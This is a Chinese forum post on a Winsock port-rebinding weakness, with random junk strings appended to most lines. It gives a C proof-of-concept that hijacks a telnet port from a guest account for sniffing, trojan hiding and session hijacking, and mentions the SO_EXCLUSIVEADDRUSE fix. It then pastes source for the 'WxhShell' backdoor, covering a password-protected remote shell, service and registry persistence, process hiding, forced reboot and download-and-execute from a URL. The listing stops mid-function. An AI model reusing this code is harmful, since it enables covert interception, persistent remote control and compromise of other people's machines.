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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~ `M\Ir  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~\LCvcY"X  
).^}AFta  
  saddr.sin_family = AF_INET; xG&)1sT#-\  
eqw0]U\pv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a`[uNgDO  
a2'^8;U*_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VX LT^iX  
d?`ny#,GB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aE;le{|!({  
eq(am%3~  
  这意味着什么?意味着可以进行如下的攻击: fk1ASV<rN  
ojvj}ln  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '(bgs   
I M-L'9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (3J$>Na  
ydRC1~f0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nD5 gP  
Qham^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tg]x0#@s  
26&'X+n&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &0 >Loja`^  
s7Ub@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6f')6X'x  
"j;4 k.`h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )M6w5g  
Q8!) !r%  
  #include S4=~`$eP  
  #include )OiT{-m  
  #include 'Vyt4^$%  
  #include    o(DOQGl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I!e})Y  
  int main() S;$-''o?9  
  { [<DZ*|+  
  WORD wVersionRequested; &?mD$Eo  
  DWORD ret; Zt.'K(]2h  
  WSADATA wsaData; Y. ,Kl~  
  BOOL val; xx[9~z=d  
  SOCKADDR_IN saddr; ZI=%JU(  
  SOCKADDR_IN scaddr; "@?? Fw!  
  int err; At-U2a#J{  
  SOCKET s; $ s9Vrw0Z  
  SOCKET sc; {r@Ty*W} L  
  int caddsize; C(00<~JC  
  HANDLE mt; S30?VG9U0f  
  DWORD tid;   kS bu]AB  
  wVersionRequested = MAKEWORD( 2, 2 ); UrqRx?#  
  err = WSAStartup( wVersionRequested, &wsaData ); +=O5YR!{  
  if ( err != 0 ) { UK<Nj<-'t  
  printf("error!WSAStartup failed!\n"); zIh ['^3.n  
  return -1; T6 '`l?H`;  
  } bbrXgQ`s+w  
  saddr.sin_family = AF_INET; c-B cA  
   ^$b Y,CE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .zi_[  
 o4|M0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !o:f$6EA~C  
  saddr.sin_port = htons(23); SQX:7YF~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RhncBKm*M  
  { Ney/[3 A  
  printf("error!socket failed!\n"); 8C*c{(4  
  return -1; SHe49!RA'{  
  } _lamn }(x0  
  val = TRUE; /Mvf8v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :]\([Q+a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eEuvl`&  
  {  Vh_P/C+  
  printf("error!setsockopt failed!\n"); .&DhN#EN0  
  return -1; +j< p \Kn>  
  } ,6-:VIHQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wk)OkIFR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \O2Rhz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3B84^>U<  
U4d:] z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IZpP[hov  
  { vEJWFoeEFm  
  ret=GetLastError(); 03q 5e  
  printf("error!bind failed!\n"); < jJ  
  return -1; OX\A|$GS  
  } I}1NB3>^  
  listen(s,2); 59h)-^!  
  while(1) f|\onHI)>  
  { C{U?0!^  
  caddsize = sizeof(scaddr); &5yV xL:  
  //接受连接请求 .yz}ROmN^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E=nIRG|g  
  if(sc!=INVALID_SOCKET) vSEuk}pk  
  { &L=suDe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); As'=tIro  
  if(mt==NULL) 4 o Fel.o  
  { <0Xf9a8>  
  printf("Thread Creat Failed!\n"); \W~ N  
  break; _h{C_;a[_  
  } sB7# ~p A  
  } Zy`m!]G]80  
  CloseHandle(mt); Q+[n91ey**  
  } YtmrRDQs  
  closesocket(s); .(K)?r-g5  
  WSACleanup(); ~E17L]ete  
  return 0; 3LOdjT J  
  }   e"|efE  
  DWORD WINAPI ClientThread(LPVOID lpParam) KVclhT<F  
  { ]'&LGA`  
  SOCKET ss = (SOCKET)lpParam; '=b/6@&  
  SOCKET sc; ;r<^a6B  
  unsigned char buf[4096]; F1*>y  
  SOCKADDR_IN saddr; ItNz}4o|d  
  long num; d3\qKL!~  
  DWORD val; pM4 :#%V  
  DWORD ret; Mk"^?%PxT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H?yK~bGQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l9{hq/V  
  saddr.sin_family = AF_INET; GeH#I5y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z&zP)>Pv  
  saddr.sin_port = htons(23); 8\+uec]k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H\ F :95  
  { KcWN,!G  
  printf("error!socket failed!\n"); m| n  
  return -1; | )K8N<n  
  } V% rzk*LA  
  val = 100; @>,^":`#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]cHgleHQ  
  { +r2+X:#~T  
  ret = GetLastError(); ]d$8f  
  return -1; "@V Y  
  } j()7_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (ZUHvvL  
  { oB(?_No7  
  ret = GetLastError(); ,Vc6Gwm  
  return -1; Tp?7_}tRi  
  } 6m}Ev95  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rV` #[d  
  { J,'M4O\S  
  printf("error!socket connect failed!\n"); 'j#*6xD  
  closesocket(sc); C0T;![/4A  
  closesocket(ss); (KjoSN( K  
  return -1; igCZ|Ru\  
  } W=N+VqK  
  while(1) Cio 1E-4  
  { rBQ_iB_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0q()|y?}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^O?/yV?4c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \V;F/Zy(  
  num = recv(ss,buf,4096,0); jys:5P  
  if(num>0) 8{^kQ/]'|  
  send(sc,buf,num,0);  dm\F  
  else if(num==0) $*^7iT4q_t  
  break; <}C oQz  
  num = recv(sc,buf,4096,0); '$i: 2mn,  
  if(num>0) ?1~`*LE  
  send(ss,buf,num,0); 03$mYS_?  
  else if(num==0) R`NYEptJ  
  break; f z'@_4hg  
  } LBw1g<&  
  closesocket(ss); g];!&R-  
  closesocket(sc); p_RsU`[  
  return 0 ; >^u2cAi3[  
  } Snj'y,p[  
>FeX<L  
Cjn#00  
========================================================== h79}qU  
yb<fpM  
下边附上一个代码,,WXhSHELL y8]B:_iU9  
Kg{+T`  
========================================================== is?{MJZ_  
?>7[7(|  
#include "stdafx.h" ROH|PKb7  
{:/#Nc$5  
#include <stdio.h> IPS4C[v  
#include <string.h> "{A(x }'Y4  
#include <windows.h> C7]f*TSC4  
#include <winsock2.h> T^zXt?  
#include <winsvc.h> S\CCrje  
#include <urlmon.h> /:cd\A}  
ju8> :y8  
#pragma comment (lib, "Ws2_32.lib") 1KU! tL  
#pragma comment (lib, "urlmon.lib") Cwv9 a^  
hZ|z|!g0  
#define MAX_USER   100 // 最大客户端连接数 yl'u'-Zb6  
#define BUF_SOCK   200 // sock buffer Ki;*u_4{  
#define KEY_BUFF   255 // 输入 buffer g_;\iqxL  
"BM#4  
#define REBOOT     0   // 重启 fW?vdYF  
#define SHUTDOWN   1   // 关机 P0;n9>g  
/p/]t,-j2  
#define DEF_PORT   5000 // 监听端口 |Tv#4st  
z<MsKD0Q  
#define REG_LEN     16   // 注册表键长度 9Gvd&U  
#define SVC_LEN     80   // NT服务名长度 [*Z;\5&P  
=}~hWL  
// 从dll定义API +Q/R{#O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =O~_Q-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); em y[k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bTI|F]^!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); esJ~;~[@(r  
 0HZ{Y9]  
// wxhshell配置信息 6,pnw  
struct WSCFG { ]}V<*f  
  int ws_port;         // 监听端口 Pd8![Z3  
  char ws_passstr[REG_LEN]; // 口令 8=!D$t\3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0- B5`=yU  
  char ws_regname[REG_LEN]; // 注册表键名 XgZD%7  
  char ws_svcname[REG_LEN]; // 服务名  4j*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kXViWOXU^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EfqX y>W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N"Z{5A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2IK}vDsis  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %U/(|wodd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %[GsD9_-  
,>:U2%  
}; 2_>N/Z4T  
{4l8}w  
// default Wxhshell configuration _?nL+\'V  
struct WSCFG wscfg={DEF_PORT, ${DUCud,kY  
    "xuhuanlingzhe", QRw"H 8nW  
    1, VMZMG$C  
    "Wxhshell", n3WlZ!$  
    "Wxhshell", aHD]k8 m z  
            "WxhShell Service", r-,%2y?  
    "Wrsky Windows CmdShell Service", <]ox;-56  
    "Please Input Your Password: ", ldf\;Qk  
  1, [DuttFX^x  
  "http://www.wrsky.com/wxhshell.exe", :'Vf g[Uq  
  "Wxhshell.exe" T9=I$@/  
    }; IYv`IS"  
X;$+,&M"  
// 消息定义模块 _T60;ZI+^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'B |JAi?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6%'QjwM_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @@f"%2ZR[  
char *msg_ws_ext="\n\rExit."; GC-5X`Sq  
char *msg_ws_end="\n\rQuit."; GblA9F7  
char *msg_ws_boot="\n\rReboot..."; Y/F6\oh  
char *msg_ws_poff="\n\rShutdown..."; KR} ?H#%  
char *msg_ws_down="\n\rSave to "; 9+|$$)  
KM, \  
char *msg_ws_err="\n\rErr!"; !t"4!3  
char *msg_ws_ok="\n\rOK!"; Z{*\S0^ST  
7g^]:3f!   
char ExeFile[MAX_PATH]; YP oSRA L  
int nUser = 0; aj='b.2)  
HANDLE handles[MAX_USER]; cZ,b?I"Q%  
int OsIsNt; wLIMv3;k  
9 ql~q  
SERVICE_STATUS       serviceStatus; <)Dj9' _J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X0HZH?V+  
hPB9@ hT$  
// 函数声明 70d1ReQ  
int Install(void);  ^^sE:  
int Uninstall(void); b`Zx!^  
int DownloadFile(char *sURL, SOCKET wsh); M/f<A$xx_  
int Boot(int flag); #~]zhHI  
void HideProc(void); 'ms-*c&  
int GetOsVer(void); { l/U6](  
int Wxhshell(SOCKET wsl); q1x`Bj   
void TalkWithClient(void *cs); `7E;VL^Y1  
int CmdShell(SOCKET sock); T=DbBy0-  
int StartFromService(void); %@b0[ZC  
int StartWxhshell(LPSTR lpCmdLine); h,:m~0gmj  
]h`&&Bqt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LE Nq_@$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mY|)KJ  
P}}* Q7P  
// 数据结构和表定义 l:~/<`o  
SERVICE_TABLE_ENTRY DispatchTable[] = J3V= 46Yc  
{ uo9B9"&  
{wscfg.ws_svcname, NTServiceMain}, ELoDd&d8  
{NULL, NULL} LVM%"sd?  
}; dlh)gp;  
6GlJ>r+n  
// 自我安装 RMV/&85?y  
int Install(void) 6yG^p]zZ  
{ g{)dP!}  
  char svExeFile[MAX_PATH]; C}j"Qi`  
  HKEY key; N{!i=A  
  strcpy(svExeFile,ExeFile); {lzWrUGO  
UW={[h{.|@  
// 如果是win9x系统,修改注册表设为自启动 @D[_}JE  
if(!OsIsNt) { Y1\}5k{>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `,(4]tlL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B:Oa}/H   
  RegCloseKey(key); #P9~}JB3,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )u&|_&g{}J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d'gfQlDny  
  RegCloseKey(key); F~vuM$+d  
  return 0; R_cA:3qc~  
    } C3f' {}  
  } ! I:%0D  
} Tk[ $5u*,  
else { )r?}P1J7  
KZY}%il!`  
// 如果是NT以上系统,安装为系统服务 _yx>TE2e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VT)oLj/A  
if (schSCManager!=0) \.{$11P#  
{ }"H,h)T  
  SC_HANDLE schService = CreateService R%WCH?B<}  
  ( r|8d 4  
  schSCManager, hh%-(HaLX3  
  wscfg.ws_svcname, B"w?;EeV.  
  wscfg.ws_svcdisp, a5^] 20Fa  
  SERVICE_ALL_ACCESS, sE<V5`Z=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 79j+vH!zh  
  SERVICE_AUTO_START, H2 {+)  
  SERVICE_ERROR_NORMAL, u~:y\/Y6  
  svExeFile, x_}:D *aI  
  NULL, Mj3A5;#  
  NULL, +)om^e@.  
  NULL,  qA7>vi%  
  NULL, ;8&3 dm]  
  NULL NiEUW.0  
  ); RLXL&  
  if (schService!=0) ,-LwtePJ0  
  { NA`SyKtg_  
  CloseServiceHandle(schService); Rok7n1gW  
  CloseServiceHandle(schSCManager); UgSB>V<?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xl{P8L  
  strcat(svExeFile,wscfg.ws_svcname); HRCT }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 558V_y:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8'[7 )I=  
  RegCloseKey(key); n,(sBOQ  
  return 0; A`$%SVgFV^  
    } ^mDe08. %b  
  } VcYrK4  
  CloseServiceHandle(schSCManager); On:il$MU  
} HZB>{O  
} xrz,\eTb  
kx{{_w  
return 1; <z&/L/bl"  
} @V sG'  
xC:L)7#aw  
// 自我卸载 qJs<#MQ2  
int Uninstall(void) #U4F0BdA  
{ Gr'  CtO  
  HKEY key; 1CD+B=pQG  
34O `@j0-3  
if(!OsIsNt) { nwe* BVp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85$m[+md  
  RegDeleteValue(key,wscfg.ws_regname); dr}`H,X"3  
  RegCloseKey(key); 6r0krbN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %D34/=(X  
  RegDeleteValue(key,wscfg.ws_regname); KeB"D!={;  
  RegCloseKey(key); WRbj01v  
  return 0; HYZ5EV  
  } ItVWO:x&v  
} %6,SKg p  
} &X ):4  
else { -H@:*  
B\=8_z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P>C~ i:4n  
if (schSCManager!=0) .Iw AK/QS  
{ drP=A~?&:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X*XZb F"=  
  if (schService!=0) KnQ*vM*VM  
  { Jy:Qlx`  
  if(DeleteService(schService)!=0) { gQg"j)  
  CloseServiceHandle(schService); py!|\00}  
  CloseServiceHandle(schSCManager); t;Sb/3  
  return 0; NjScc%@y  
  } e7Z32P0ls  
  CloseServiceHandle(schService); Q7\w+ANf0  
  } [< ?s?Ci  
  CloseServiceHandle(schSCManager); }Yzco52  
} *[Tz![|  
} XGWSdPJLr  
5E;qM|Ns  
return 1;  SI-qC  
} _x'6]f{n  
,X-bJA@(  
// 从指定url下载文件 F=e8IUr  
int DownloadFile(char *sURL, SOCKET wsh) \BTODZ:h  
{ zuad~%D<I  
  HRESULT hr; 9G#n 0&wRJ  
char seps[]= "/"; f!uwzHA`?  
char *token; @[<><uTH  
char *file; s}9S8@#  
char myURL[MAX_PATH]; +>{2*\cZ5}  
char myFILE[MAX_PATH]; jh%Eq+#S  
Vpz\.]  
strcpy(myURL,sURL); <I\/n<*  
  token=strtok(myURL,seps); Uw. `7b>B  
  while(token!=NULL) 8,4"uuI  
  { { ]{/t-=  
    file=token; VU(v3^1"  
  token=strtok(NULL,seps); EF[@$j   
  } {_[N<U:QT&  
'Ym9;~(@R  
GetCurrentDirectory(MAX_PATH,myFILE); %COX7gV  
strcat(myFILE, "\\"); eK?MKe  
strcat(myFILE, file); t7Iv?5]N  
  send(wsh,myFILE,strlen(myFILE),0); HZC"nb}r4  
send(wsh,"...",3,0); x.!V^HQSN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZF9z~9  
  if(hr==S_OK) v\gLWq'  
return 0; 5oW!YJg  
else g0=z&2Q[_)  
return 1; $oID(P  
|`2RShu  
} !}#8)?p  
df4A RP+  
// 系统电源模块  F2LLN  
int Boot(int flag) :Uzm  
{ M#4p E_G  
  HANDLE hToken; 30#s aGV  
  TOKEN_PRIVILEGES tkp; /tx]5`#@7]  
TOB-aAO  
  if(OsIsNt) { I(L,8n5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J s@hLP `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pk$l+sNZ=  
    tkp.PrivilegeCount = 1; SumF  2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OUPUixz2Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D&&9^t9S  
if(flag==REBOOT) { A Ru2W1g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2 /\r)$ 2i  
  return 0; ArI2wM/v  
} ~F|+o}a `  
else { y1eW pPJa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~*&H$6NJS  
  return 0; Ju!]&G8  
} w7.V6S$Ga  
  } +K:Dx!9  
  else { D09Sg%w  
if(flag==REBOOT) { EPI4!3]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #C74z$  
  return 0; T= y}y  
} ,GbR!j@6  
else { UJAv`yjG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1y@i}<9F  
  return 0; ]b:Lo  
} abmYA#  
} %A9NB!  
|PCm01NU!  
return 1; )np:lL$$  
} :1. L}4"gg  
shy-Gu&  
// win9x进程隐藏模块 v!-/&}W)1  
void HideProc(void) 36&e.3/#  
{ 1Ti f{i,B  
+aCv&sg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w>s,"2&5J  
  if ( hKernel != NULL ) .GP T!lDc  
  { |/|5UiX7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b5dD/-Vj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E1aHKjLQ  
    FreeLibrary(hKernel); O_ muD\  
  } njB;&N)I  
oQ/E}Zk@  
return; ]KKS"0a  
} "yy5F>0Wt  
>-RQ]?^  
// 获取操作系统版本 ~OYiq}g  
int GetOsVer(void) x*\Y)9Vgy  
{ }#RakV4  
  OSVERSIONINFO winfo; ~|D Ut   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UawyDs  
  GetVersionEx(&winfo); :gv{F} ##  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $u6"*|  
  return 1; $t'MSlF  
  else y4 #>X  
  return 0; R6<X%*&%  
} }z'8Bu  
j;+b0(53  
// 客户端句柄模块 $lfn(b,  
int Wxhshell(SOCKET wsl) _2Zx?<] 2E  
{ h9&0Z +zs  
  SOCKET wsh; W s3)gvpPA  
  struct sockaddr_in client; xf\C|@i  
  DWORD myID; e9Wa<i 8  
hE'-is@7  
  while(nUser<MAX_USER) 4$HhP, gL=  
{ x}wG:K  
  int nSize=sizeof(client); @muRxi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ehGLk7@7&  
  if(wsh==INVALID_SOCKET) return 1; HYD'.uj  
fZGX}T<)p-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r..iko]T  
if(handles[nUser]==0) L:$ ,v^2  
  closesocket(wsh); U*rcd-@  
else DD+7V@  
  nUser++; :DK {Vg6  
  } 8?B!2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !]A  
0I-9nuw,^;  
  return 0; ^&9zw\x;z  
} Hs;4lSyUO  
^  glri$m  
// 关闭 socket T#T*Zw"+  
void CloseIt(SOCKET wsh) 7~G9'P<  
{ .Bl\Z  
closesocket(wsh); :;%2BSgFU  
nUser--; K C*e/J  
ExitThread(0); y;m|  
} "=HA Y  
B {n,t}z  
// 客户端请求句柄 ANAVn@ [  
void TalkWithClient(void *cs) jKz$@gP  
{ y>8sZuH0  
nSDMOyj+  
  SOCKET wsh=(SOCKET)cs; 4@+`q *  
  char pwd[SVC_LEN]; CCs%%U/=  
  char cmd[KEY_BUFF]; NR$3%0 nC6  
char chr[1]; W 8<&gh+  
int i,j; kP=eW_0D  
H5/6TX72N  
  while (nUser < MAX_USER) { ]#i igPZ7  
@o].He@L<j  
if(wscfg.ws_passstr) { B-RjMxX4>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ].avItg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <)C#_w)-  
  //ZeroMemory(pwd,KEY_BUFF); np|Sy;:  
      i=0; M><yGaaX/  
  while(i<SVC_LEN) { `$Y.Y5mGtJ  
&~cBNw|  
  // 设置超时 .r=4pQ@#  
  fd_set FdRead; ?> 9/#Nv  
  struct timeval TimeOut; rET\n(AJ  
  FD_ZERO(&FdRead); x;O[c3I  
  FD_SET(wsh,&FdRead); M5 LfRBO  
  TimeOut.tv_sec=8; ~gJwW+  
  TimeOut.tv_usec=0; [Q~#82hBhY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  C#.->\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h:))@@7MJ  
,hDW Ps2S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Co6(  
  pwd=chr[0]; B6+khuG(  
  if(chr[0]==0xd || chr[0]==0xa) { +zqn<<9  
  pwd=0; 7uqzm  
  break; B&M%I:i  
  } SBu"3ym  
  i++; 4!{KWL`A  
    } Ot0ap$&  
TIqtF&@o4  
  // 如果是非法用户,关闭 socket /$Ir5=B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I.(, hFx;  
} {S]}.7`l9(  
olB.*#gA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o+iiST JEe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7DogM".}~Q  
5+4IN5o]=  
while(1) { %@J.{@>  
LG9+GszX 2  
  ZeroMemory(cmd,KEY_BUFF); VcE:G#]5  
JJ-( Sl  
      // 自动支持客户端 telnet标准   UkwP  
  j=0; d UE,U=  
  while(j<KEY_BUFF) { .<0ye_S'y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *uRBzO}  
  cmd[j]=chr[0]; PA{PD.4Du  
  if(chr[0]==0xa || chr[0]==0xd) { dw>C@c#"  
  cmd[j]=0; R{`(c/%8  
  break; 6?gW-1mY  
  } q4h]o^+  
  j++; x3=A:}t8  
    } 8.1c?S  
'T;P;:!\  
  // 下载文件 _IHV7*u{;  
  if(strstr(cmd,"http://")) { :1Xz4wkWS*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >0y'Rgfe  
  if(DownloadFile(cmd,wsh)) ;3coP{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wYXQlxdy  
  else F@7jx:tI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bn&TF3b  
  } "m$##X\  
  else { IZ-1c1   
w>&aEv/f  
    switch(cmd[0]) { !<8W {LT  
  ' ,wFTV&  
  // 帮助 yNJ B oar  
  case '?': { gnf8 l?M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ZwjOi:)  
    break; wc@X.Q[  
  } e`_LEv  
  // 安装 &ee~p&S,>  
  case 'i': { hp50J  
    if(Install()) e(;,`L\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .WJ YQi  
    else kPG-hD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z=\&i\>;Z+  
    break; j?\Qh  
    } vkV0On  
  // 卸载 a 7 V-C  
  case 'r': { 2DDtu[}  
    if(Uninstall()) 'W^YM@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cxC6n%!;y  
    else  @tnz]^V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K:[F%e  
    break; epe)a  
    } ;%9|k U  
  // 显示 wxhshell 所在路径 9!\B6=r y4  
  case 'p': { DH!~ BB;  
    char svExeFile[MAX_PATH]; OX7M8cmc+  
    strcpy(svExeFile,"\n\r"); Yx%Hs5}8  
      strcat(svExeFile,ExeFile); a$OE0zn`  
        send(wsh,svExeFile,strlen(svExeFile),0); X=&ET)8-Y  
    break; `UyG_;  
    } '3tCH)s  
  // 重启 FIhk@TKa  
  case 'b': { /& {A!.;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1<@W6@]  
    if(Boot(REBOOT)) 2 c{34:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ULQrq$?  
    else { S!CC }3zw  
    closesocket(wsh); CAWNDl4  
    ExitThread(0); BoWg0*5xb  
    } (k.[GfCbD  
    break; 1N-\j0au  
    } Y\k#*\'Y~  
  // 关机 _4So{~Gf1  
  case 'd': { I-*S&SiXjI  
